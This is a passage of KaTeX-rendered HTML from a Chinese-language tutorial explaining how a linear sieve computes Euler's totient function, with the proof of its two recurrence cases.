class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1765em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。<br>分為以下兩種情形：<br>情形一：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span><br>此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的所有質因數皆亦為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mo>∏</mo><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><msub><mi>p</mi><mi>i</mi></msub></mfrac></mrow><mo fence="true">)</mo></mrow><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>∏</mo><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><msub><mi>p</mi><mi>i</mi></msub></mfrac></mrow><mo fence="true">)</mo></mrow><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)=n\prod\left({1-\frac{1}{p_i}}\right)=p_nn^\prime\prod\left({1-\frac{1}{p_i}}\right)=p_n\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∏</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∏</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>情形二：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span><br>此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>互質，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msub><mi>p</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mi>n</mi></msub><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)=\phi(p_n)\phi(n^\prime)=(p_n-1)\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>我們知道線性篩能夠將每個數都標記一次(看他是質數 / 合數)，因此我們多加一個步驟：在標記同時記錄那個數的歐拉函數值是多少。<br>和之前相同，我們用<code>i</code>乘以質數表中的數字<code>p</code>來生成出所有的合數。<br>最後一個問題是，我們要確定在計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>已經算好了，解釋也很簡單<br>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，所以「計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>」發生在迴圈中<code>i</code>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>時。<br>我們再來看<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>是在何時被算出來的。<br>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>為合數，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的最小質因數至少為2，故<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>必定在迴圈執行到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mo stretchy="false">⌈</mo><mfrac><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mn>2</mn></mfrac><mo stretchy="false">⌉</mo><mo>≤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">i=\lceil\frac{n^\prime}{2}\rceil\leq n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3185em;vertical-align:-0.345em;"></span><span class="mopen">⌈</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9735em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8278em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌉</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>之前就算出來了。<br>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>為質數，則我們只要讓<code>i</code>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>時，先計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>=</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\phi(n^\prime)=n^\prime-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span 